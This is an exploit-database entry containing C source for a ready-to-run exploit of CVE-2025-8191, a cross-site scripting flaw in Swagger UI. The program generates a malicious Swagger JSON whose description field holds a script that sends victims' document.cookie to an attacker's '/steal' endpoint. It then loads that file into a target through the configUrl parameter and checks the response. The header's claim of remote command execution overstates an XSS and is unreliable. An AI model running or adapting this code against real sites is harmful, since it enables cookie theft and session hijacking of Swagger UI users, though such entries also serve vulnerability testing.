Swagger UI 1.0.3 - Cross-Site Scripting (XSS)

EDB-ID:

52392




Platform:

Multiple

Date:

2025-08-03


/*
 * Author       : Byte Reaper
 * Telegram     : @ByteReaper0
 * CVE          : CVE-2025-8191
 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
 * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <curl/curl.h>

int portSel = 0;
int portServerSel = 0;
int selectFile = 0;
const char *targetUrl = NULL;
const char *cookies   = NULL;
const char *server    = NULL;
const char *yourFile  = NULL;
const char *payloadFile = "xss.json";
int targetPort = 0;
int yourPort = 0;
int verbose = 0;
int useCookies  = 0;
struct Mem
{
    char *buffer;
    size_t len;
};


void exitAssembly()
{
    __asm__ volatile
    (
        "mov $231, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax",
         "rdi"
    );
}
size_t write_cb(void *ptr,
                size_t size, size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void createFile(const char *filename,
                const char *server)
{
    FILE *f = fopen(filename, "w");
    if (f == NULL)
    {
        printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n");
        exitAssembly();
    }

    char payloadBuf[2048];
    int lenFile = snprintf(
        payloadBuf,
        sizeof(payloadBuf),
                           "{\n"
                           "  \"swagger\": \"2.0\",\n"
                           "  \"info\": {\n"
                           "    \"version\": \"1.0.0\",\n"
                           "    \"title\": \"XSS Injection Demo\",\n"
                           "    \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n"
                           "  },\n"
                           "  \"paths\": {}\n"
                           "}",
                           server
    );

    if (lenFile <= 0 || lenFile >= sizeof(payloadBuf))
    {
        printf("\e[1;31m[-] File payload too large!\e[0m\n");
        fclose(f);
        exitAssembly();
    }
    fwrite(payloadBuf,
           1,
           lenFile,
           f);
    fclose(f);
    printf("\e[1;34m[+] File name: %s\e[0m\n",
           filename);
    printf("\e[1;34m[+] File created successfully.\e[0m\n");
    printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n");
    printf("\e[1;34m[+] Payload content :\n%s\e[0m\n",
           payloadBuf);
    printf("\e[1;35m====================================================================\e[0m\n");

}
void sendRequest(const char *baseUrl,
                 int targetPort,
                 const char *server,
                 const char *payloadFile)
{
    const char *filename = "xss.json";
    createFile(filename, server);
    CURL *curl = curl_easy_init();
    CURLcode res;
    char full[4000];
    if (curl == NULL)
    {
        printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n");
        exitAssembly();
    }
    struct Mem server_Rsponse =
    {
        NULL,
        0
    };
    server_Rsponse.buffer = NULL ;
    server_Rsponse.len = 0;
    if (curl)
    {

        if (portSel)
        {
            int len1 = snprintf(full,
                                sizeof(full),
                                "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
                                baseUrl,
                                targetPort,
                                server,
                                payloadFile);
            if (len1 < 0 || len1 >= (int)sizeof(full))
            {
                printf("\e[1;31m[-] URL is Long !\e[0m\n");
                printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1);
                exitAssembly();
            }
        }
        if (portServerSel)
        {
            int len2 = snprintf(full,
                                sizeof(full),
                                "%s/swagger-ui/index.html?configUrl=%s:%d/%s",
                                baseUrl,
                                server,
                                yourPort,
                                payloadFile);

            if (len2 < 0 || len2 >= (int)sizeof(full))
            {
                printf("\e[1;31m[-] URL is Long !\e[0m\n");
                printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2);
                exitAssembly();
            }

        }
        if (selectFile)
        {
            int len3 = snprintf(full,
                                sizeof(full),
                                "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
                                baseUrl,
                                targetPort,
                                server,
                                yourFile);
            if (len3 < 0 || len3 >= (int)sizeof(full))
            {
                printf("\e[1;31m[-] URL is Long !\e[0m\n");
                printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3);
                exitAssembly();
            }
        }
        else
        {
            int len4 = snprintf(full,
                                sizeof(full),
                                "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
                                baseUrl,
                                targetPort,
                                server,
                                payloadFile);
            if (len4 < 0 || len4 >= (int)sizeof(full))
            {
                printf("\e[1;31m[-] URL is Long !\e[0m\n");
                printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4);
                exitAssembly();
            }
        }
        curl_easy_setopt(curl,
                         CURLOPT_URL,
                         full);
        if (useCookies)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &server_Rsponse);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        struct curl_slist *headers = NULL;
        headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
        headers = curl_slist_append(headers,
                                    "Connection: keep-alive");

        char ref[500];
        snprintf(ref , sizeof(ref), "Referer: %s",
                 server);
        headers = curl_slist_append(headers,
                                    ref);
        curl_easy_setopt(curl,
                         CURLOPT_HTTPHEADER,
                         headers);
        res = curl_easy_perform(curl);
        curl_slist_free_all(headers);

        if (res == CURLE_OK)
        {
            double timeD;
            double downloadTime;
            long httpCode = 0;
            long size;
            curl_off_t content_length;
            curl_off_t connectTime;
            curl_easy_getinfo(curl,
                              CURLINFO_APPCONNECT_TIME,
                              &connectTime);
            curl_easy_getinfo(curl,
                              CURLINFO_SIZE_DOWNLOAD_T,
                              &content_length);

             curl_easy_getinfo(curl,
                               CURLINFO_HEADER_SIZE,
                               &size);

            printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000,
                   (long)(connectTime % 1000000));
            printf("\e[1;36m[+] Size: %.0f\n",
                   connectTime);
            printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n",
                   size);
            printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length);

            curl_easy_getinfo(curl,
                              CURLINFO_RESPONSE_CODE,
                              &httpCode);
            curl_easy_getinfo(curl,
                              CURLINFO_TOTAL_TIME,
                              &timeD);
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n",
                   timeD);
            printf("\e[1;37m[+] Input Url : %s\e[0m\n",
                   baseUrl);

            if (portSel)
            {
                printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort);
            }
            if (portServerSel)
            {
                printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort);
            }
            printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server);
            printf("\e[1;37m[+] Full Url : %s\e[0m\n",
                   full);
            if (httpCode >= 200 && httpCode < 300)
            {
                printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
                const char *foundKey[] =
                {
                    "id=",
                    "path",
                    "host",
                    "alert",
                    "error",
                };
                printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
                printf("%s\n", server_Rsponse.buffer);
                printf("\e[1;35m=============================================================\e[0m\n");
                int numberKey = sizeof(foundKey) /sizeof(foundKey[0]);
                int notFound = 0;
                for (int k = 0; k < numberKey; k++)
                {
                    if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL)
                    {
                        printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]);
                        printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n");
                        printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
                        printf("%s\n", server_Rsponse.buffer);
                        printf("\e[1;35m=============================================================\e[0m\n");
                    }
                    else
                    {
                        if (verbose)
                        {
                            printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]);
                        }

                        notFound = 1;
                    }
                }
                if (notFound)
                {
                    printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n");
                }
            }
            else
            {
                printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
                if (verbose)
                {
                    printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
                    printf("%s\n", server_Rsponse.buffer);
                    printf("\e[1;35m=============================================================\e[0m\n");
                }
            }
        }
        else
        {
            printf("\e[1;31m[-] Error Send Request\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
            printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n");
            exitAssembly();
        }
    }
    if (server_Rsponse.buffer)
    {
        free(server_Rsponse.buffer);
        server_Rsponse.buffer = NULL;
        server_Rsponse.len = 0;
    }
    curl_easy_cleanup(curl);
}





int main(int argc, const char **argv)
{
    printf(
        "\e[1;31m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▗ ▄▖▗   \n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜   \n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▙▌▟▖▄▌▟▖  \n"
    );
    printf("\e[1;37m     [ Byte Reaper ]\n\e[0m");
    printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m");
    printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n");

    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('u',
                   "url",
                   &targetUrl,
                   "Target Url (Base URL)"),
        OPT_STRING('c',
                  "cookies",
                  &cookies,
                 "cookies File"),
        OPT_STRING('s',
                    "server",
                    &server,
                    "Your Server URL"),
        OPT_STRING('f',
                   "file",
                    &yourFile,
                    "Name File (Json File Payload)"),
        OPT_INTEGER('p',
                    "port",
                    &targetPort,
                    "Target Port Server"),
        OPT_INTEGER('b',
                    "portS",
                    &yourPort,
                    "Enter Your Port Server"),
        OPT_BOOLEAN('v',
                   "verbose",
                   &verbose,
                 "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!targetUrl && !server)
    {
        printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n");
        printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n");
        printf("\e[1;31m[-] Exit Syscall\e[0m\n");
        exitAssembly();
    }
    if (cookies)
    {
        useCookies = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (targetPort)
    {
        portSel = 1;
    }
    if (yourPort)
    {
        portServerSel = 1;
    }
    if (yourFile)
    {
        selectFile = 1;
    }
    sendRequest(targetUrl,
                targetPort,
                server,
                selectFile ? yourFile : payloadFile);

    return 0;
}